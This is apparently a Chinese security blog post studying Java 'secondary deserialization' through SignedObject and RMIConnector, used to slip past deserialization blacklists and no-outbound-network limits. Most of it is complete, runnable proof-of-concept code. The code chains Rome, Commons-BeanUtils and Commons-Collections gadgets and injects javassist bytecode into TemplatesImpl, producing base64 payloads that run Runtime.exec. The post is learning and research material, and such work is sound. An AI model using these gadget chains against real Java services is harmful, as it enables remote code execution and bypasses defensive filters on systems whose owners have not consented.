Java二次反序列化学习
2024-08-09 18:23:56

前言

二次反序列化大多数时候是用来绕过黑名单或者解决不出网的问题,不会作为一条单独且完整的利用链存在,而是作为一个中间节点,用来绕过。
二次反序列化一般来说有如下几个常用的利用类

  1. SignedObject
  2. RMIConnector
  3. WrapperConnectionPoolDataSource

最后一个在学习 C3P0 链的时候见的很多了,其余两个都没啥印象,一个一个来学习

SignedObject

image.png
我们主要看方法 getObject 的内容
image.png
很正常的反序列化逻辑,创建字节输入流之后,加入对象输入流,之后对对象输入流调用 readObject 方法进行反序列化。序列化数据传入的参数也是可控的,实例化的时候赋值参数即可
image.png
这么一套下来感觉 SignedObject 是一个完美的二次反序列化媒介,他参数可控,并且能够包含一个 serializeObject,并将其反序列化。
现在的问题是如何调用到 SignedObject 的 getObject 方法呢?首先想到的肯定是 fastjson 和 jackson。但是这里的SignedObject 的 getter 方法并不符合 Fastjson 中对于获取 getter 方法的条件。SignedObject 中并没有直接定义 Object 属性值。所以得想另一个—Rome 反序列化

Rome

toStringBean

Rome 中获取 getter 方法并调用的逻辑有两处地方,ToStringBean 的有参 toString 方法,Equalsbean 的beanEquals 方法
在 rome 反序列化中我们就能够获取到类中的 getter 方法。不过也有一点条件:1.必须是 getter 形式 2.必须是无参数的 getter 方法,这两点在具体的方法– 有参 toString 中体现是最终 invoke 前的一段 if 判断,有一个不满足就会直接跳过调用阶段
image.png
显然我们的 SignedObject 符合要求。所以我们可以直接拼接到 Rome 一条完整的调用链中
比如说采用 BadAttributeValueExpException 的这一条(因为确实短),调用栈如下

1
2
3
4
SignedObject#getObject()
ToStringBean#toString(String)
ToStringBean#toString()
BadAttributeValueExpException#readObject()

拼接之后,SignedObject 中的 this.content 就能够接任何的 readObject 入口的利用链了,比如采用CC6
那么我们的 POC 就可以构造出来了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package org.example.SignedObjectPOCs;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.syndication.feed.impl.ObjectBean;
import com.sun.syndication.feed.impl.ToStringBean;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.security.*;
import java.lang.reflect.Field;
import java.security.SignedObject;
import java.util.Base64;
import java.util.Hashtable;

public class SignedObjectPOC {
public static void main(String[] args)throws Exception {

//获取CC6的入口HashMap
CCEXP ccexp=new CCEXP();
//SignedObject的初始化,涉及PrivateKey以及Signature对象的处理,signedObject中对于此项的设置我们可以参考Java.security.interface中的几个密钥接口,这里的初始化赋值就是在赋值何种格式的密钥
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject=new SignedObject(ccexp.getPayload(), kp.getPrivate(),Signature.getInstance("DSA"));

//Rome
ToStringBean toStringBean = new ToStringBean(SignedObject.class, signedObject);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
setFieldValue(badAttributeValueExpException,"val",toStringBean);

//执行序列化和反序列化操作,并且返回序列化数据用于后续的payload生成
ByteArrayOutputStream bs = unSerial(badAttributeValueExpException);

//输出序列化字节码的base64编码
Base64Encode(bs);

}

private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
private static ByteArrayOutputStream unSerial(Object o) throws Exception{
ByteArrayOutputStream bs = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bs);
out.writeObject(o);
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bs.toByteArray()));
in.readObject();
in.close();
return bs;
}

private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}

}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
package org.example.SignedObjectPOCs;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CCEXP {
public static HashMap getPayload()throws Exception{
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object,Object> map=new HashMap<>();
/// 先不传入chainedTransformer,之后等hashmap的put方法执行完毕之后再存入,而这里存入ConstantTransformer,是因为后续hashcode的put方法触发链子的时候,最终调用transform方法不会有其他的代码执行影响流程
Map<Object,Object> lazymap = LazyMap.decorate(map,new ConstantTransformer(1));
//==========================================================================
//HashMap<Object,Object> map3=new HashMap<>();

//===========================初始化 TiedMapEntry以及hashmap
TiedMapEntry tiedMapeEntry=new TiedMapEntry(lazymap,"aaa");

HashMap<Object,Object> map2= new HashMap<>();
map2.put(tiedMapeEntry,"bbb");
lazymap.remove("aaa");


//========================================反射写入chainedTransfomer
Class c=LazyMap.class;
Field factoryField=c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazymap,chainedTransformer);

return map2;

}
}

当然,二次反序列化的意义是在于绕过和解决不出网问题,所以最重要的不是这个 POC 生成的 base64 数据(用来直接打的 paylaod),而是如何去利用和拼接我们想要的部分。比如我为什么选择用 Rome 中的BadAttributeValueExpException链来进行 POC 的组成,其中一个原因就是为了绕过 hashMap 或者 hashtable 的限制。

equalsBean

equalsBean 具体获取 getter 方法并调用的逻辑如下(beanEquals 方法),因为是 euqals 比较方法,所以相较于 toStringBean 的 toString 方法,会有两次 invoke 调用。前置条件是一样的:1.必须是 getter 形式 2.必须是无参数的 getter 方法
image.png
这里的 bean1 和 bean2 也是可控的。bean1 是初始化 EqualsBean 得到的,但其实作为属性值,它也能够通过反射写入,bean2 是我们调用 beanEquals(obj) 方法时的参数
那么这里的思路就是让 bean1 或者 bean2 为 SignedObject。我们可以通过反射写入,让 bean1 直接赋值为 SignedObject。bean2 由于 equalsbean 本身的在构造时有一些逻辑为了满足条件,我们恰好让传入的bean2 变成了SignedObject。
这里所涉及的 equalsbean 调用链的部分还有一些逻辑需要好好分析,不过篇幅原因,可以参考之前专门分析 Rome 链的笔记:https://stoocea.github.io/post/ROME%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96.html#0x06-EqualsBean%E9%93%BE
POC 可以构造为如下形式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
package org.example.SignedObjectPOCs;

import com.sun.syndication.feed.impl.EqualsBean;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.example.CCEXP;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.*;

public class SignedObjectPOC2 {
public static void main(String[] args) throws Exception{

//获取CC6的入口HashMap
CCEXP ccexp=new CCEXP();
//SignedObject的初始化,涉及PrivateKey以及Signature对象的处理,signedObject中对于此项的设置我们可以参考Java.security.interface中的几个密钥接口,这里的初始化赋值就是在赋值何种格式的密钥
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject=new SignedObject(ccexp.getPayloadCC6(), kp.getPrivate(), Signature.getInstance("DSA"));

//equalsBean链构造内容,这里入口换成hashtable或者hashSet都行
EqualsBean bean = new EqualsBean(String.class, "s");
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy", bean);
map1.put("zZ", signedObject);
map2.put("zZ", bean);
map2.put("yy", signedObject);
//Hashtable hashtable =new Hashtable();
HashSet hashSet=new HashSet();
hashSet.add(map1);
hashSet.add(map2);
//hashtable.put(map1,"1");
//hashtable.put(map2,"2");
setFieldValue(bean, "_beanClass",SignedObject.class);
setFieldValue(bean, "_obj",signedObject);
ByteArrayOutputStream baos=unSerial(hashSet);
Base64Encode(baos);
}

private static ByteArrayOutputStream unSerial(Object o) throws Exception{
ByteArrayOutputStream bs = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bs);
out.writeObject(o);
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bs.toByteArray()));
in.readObject();
in.close();
return bs;
}
private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}

CCEXP 的生成内容是一样的
还有其他的关于 getter 方法调用的途径,下面分析 commons-beanutils 也就是 CB 链的结合

Commons-Beanutils

CB 链的 compare 方法中有获取对象属性值的操作,本质还是通过 get 方法获取的,o1 和 o2 都是直接通过传参形式传入的,可控。
image.png
最终 sink 点在 getSimpleProperty 的 invokeMethod 中
image.png

那么这里还是按照 CC2 和 CC4 的思路,通过优先队列 PriorityQueque 的反序列化入口。但是有一个地方需要注意:最终调用siftDownUsingComparator 到时,我们必须要让 comparator 等于 BeanComparator,并且要将 x 变量赋值为 SignedObject。这里为什么不选择上一个 comparator 呢?c 变量赋值很好实现,我们反射写 queue 即可,但其实我们在 if (right < size 的时候就不满足条件了,这里 size 我们不能通过 add 方法往Queque 里面填元素实现递增,序列化的时候会报错数组越界
image.png
所以只能够通过第二个 comparator 的 comapare 实现,反射写入 x 值即可。x 怎么赋值进去呢?观察下面的变量传递
image.png
image.png
这里我们反射写入 queue[SignedObject,null] 即可,queue 属性值本身就是一个数组
还有一个需要注意的点,beanComparator 的调用流程,最终调用哪个的 getter 取决于property 属性值,所以还要反射写入property=object,之后才能调用到 getObject
POC 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
package org.example.SignedObjectPOCs;

import org.apache.commons.beanutils.BeanComparator;
import org.apache.commons.collections.comparators.TransformingComparator;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.example.CCEXP;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.security.KeyPair;
import java.security.KeyPairGenerator;
import java.security.Signature;
import java.security.SignedObject;
import java.util.Base64;
import java.util.PriorityQueue;

public class SignedObjectPOC3 {
public static void main(String[] args)throws Exception {
//获取CC6的入口HashMap
CCEXP ccexp=new CCEXP();
//SignedObject的初始化,涉及PrivateKey以及Signature对象的处理,signedObject中对于此项的设置我们可以参考Java.security.interface中的几个密钥接口,这里的初始化赋值就是在赋值何种格式的密钥
KeyPairGenerator kpg = KeyPairGenerator.getInstance("DSA");
kpg.initialize(1024);
KeyPair kp = kpg.generateKeyPair();
SignedObject signedObject=new SignedObject(ccexp.getPayloadCC11(), kp.getPrivate(), Signature.getInstance("DSA"));


//使PriorityQueue的comparator变量赋值为beanComparator,siftDownUsingComparator中才会调用到beanComparator.comparator
BeanComparator beanComparator =new BeanComparator();
PriorityQueue priorityQueue =new PriorityQueue<>(beanComparator);
priorityQueue.add(1);
priorityQueue.add(2);//执行add操作是为了heapify()执行时的for循环能够进入, size算出来要大于等于1

setFieldValue(beanComparator,"property","object");
setFieldValue(priorityQueue,"queue",new Object[]{signedObject,null});
unSerial(priorityQueue);


}

private static ByteArrayOutputStream unSerial(Object o) throws Exception{
ByteArrayOutputStream bs = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bs);
out.writeObject(o);
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bs.toByteArray()));
in.readObject();
in.close();
return bs;
}
private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}

RmiConnector

sink 点在 RmiConnector 的 findRMIServerJRMP中,具体的反序列化流是通过传递序列化字符串 base64,然后对其解码,作为 ByteArray 输入流,然后判断是否有 loader,没有 loader 就直接创建对象输入流进行 readObject
image.png
往上寻找其调用
image.png
这里要进入 findRMIServerJRMP 就必须满足if (path.startsWith("/stub/"))的情况。path 是通过 directoryURL 传入的,还是得向上寻找
image.png
这里就能够找到directoryURL 的具体传值了,我们能够通过反射写入 jmxServiceURL 的 urlPath 任意控制directoryURL,那 if 判断就很好过了,但是 base64 编码的序列化字节码如何传递呢?其实也是通过
jmxServiceURL 的 urlPath。我们观察findRMIServerJRMP(path.substring(6,end), environment, isIiop);base64 字符串是通过截取后六位的字符传入的,前六位是什么—-/stub/,所以我们反射写入如的时候只需要在/stub/之后添加我们的 base64 字节码即可。最后用 InvokerTransformer 调用即可,也就是 CC 入口或者其他的 readObject 入口填充,最终流入InvokerTransformer 的时候具体 invoke 的对象是 RMIConnector,方法是 connect
POC 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
package org.example.RmiConnectorPOCs;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.remote.JMXServiceURL;
import javax.management.remote.rmi.RMIConnector;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class RmiConnectorPOC1 {
public static void main(String[] args)throws Exception {
JMXServiceURL jmxServiceURL = new JMXServiceURL("service:jmx:rmi://");
RmipayloadGenerator rmipayloadGenerator=new RmipayloadGenerator();
setFieldValue(jmxServiceURL,"urlPath","/stub/"+rmipayloadGenerator.getbase64CC11payload());
RMIConnector rmiConnector=new RMIConnector(jmxServiceURL,null);
InvokerTransformer transformer = new InvokerTransformer("toString",
new Class[0], new Object[0]);
HashMap<String, String> innerMap = new HashMap<>();
Map<Object,Object> m = LazyMap.decorate(innerMap, transformer);
HashMap outerMap = new HashMap();
TiedMapEntry tied = new TiedMapEntry(m,rmiConnector);
outerMap.put(tied, "t");
innerMap.clear();
setFieldValue(transformer, "iMethodName", "connect");
unSerial(outerMap);

}

private static ByteArrayOutputStream unSerial(Object o) throws Exception{
ByteArrayOutputStream bs = new ByteArrayOutputStream();
ObjectOutputStream out = new ObjectOutputStream(bs);
out.writeObject(o);
ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bs.toByteArray()));
in.readObject();
in.close();
return bs;
}
private static void Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
System.out.println(s);
System.out.println(s.length());
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package org.example.RmiConnectorPOCs;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;

public class RmipayloadGenerator {
public static String getbase64CC11payload()throws Exception{
//javassist写恶意字节码
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("i");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");
byte[] bytes = ctClass.toBytecode();

//CC11攻击流程
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{bytes});
setFieldValue(templates, "_name", "t");
InvokerTransformer transformer = new InvokerTransformer("toString",
new Class[0], new Object[0]);
HashMap<String, String> innerMap = new HashMap<>();
Map<Object,Object> m = LazyMap.decorate(innerMap, transformer);
HashMap outerMap = new HashMap();
TiedMapEntry tied = new TiedMapEntry(m, templates);
outerMap.put(tied, "t");
innerMap.clear();
setFieldValue(transformer, "iMethodName", "newTransformer");

//base64转字符输出
ByteArrayOutputStream aos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(aos);
oos.writeObject(outerMap);
oos.flush();
oos.close();
return Base64Encode(aos);
}
private static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
private static String Base64Encode(ByteArrayOutputStream bs){
byte[] encode = Base64.getEncoder().encode(bs.toByteArray());
String s = new String(encode);
// System.out.println(s);
// System.out.println(s.length());
return s;
}

}

稍微修改了一下 CC11 的 hashmap 生成逻辑,不过区别不大了

wrapperConnectionPoolDataSource

具体就不谈了,参考 C3P0 wrapperConnectionPoolDataSource 链分析即可
https://stoocea.github.io/post/C3P0%E9%93%BE%E5%88%86%E6%9E%90.html#1x01-%E5%88%9D%E6%AD%A5%E5%85%A5%E5%8F%A3%E2%80%94WrapperConnectionPoolDataSource

后记
五月份算是比较痛苦的一段时间,一直没有精力或者时间去学习新知识,一直在干活。6 月初好歹闲下来了,继续学,状态稍微回来了一点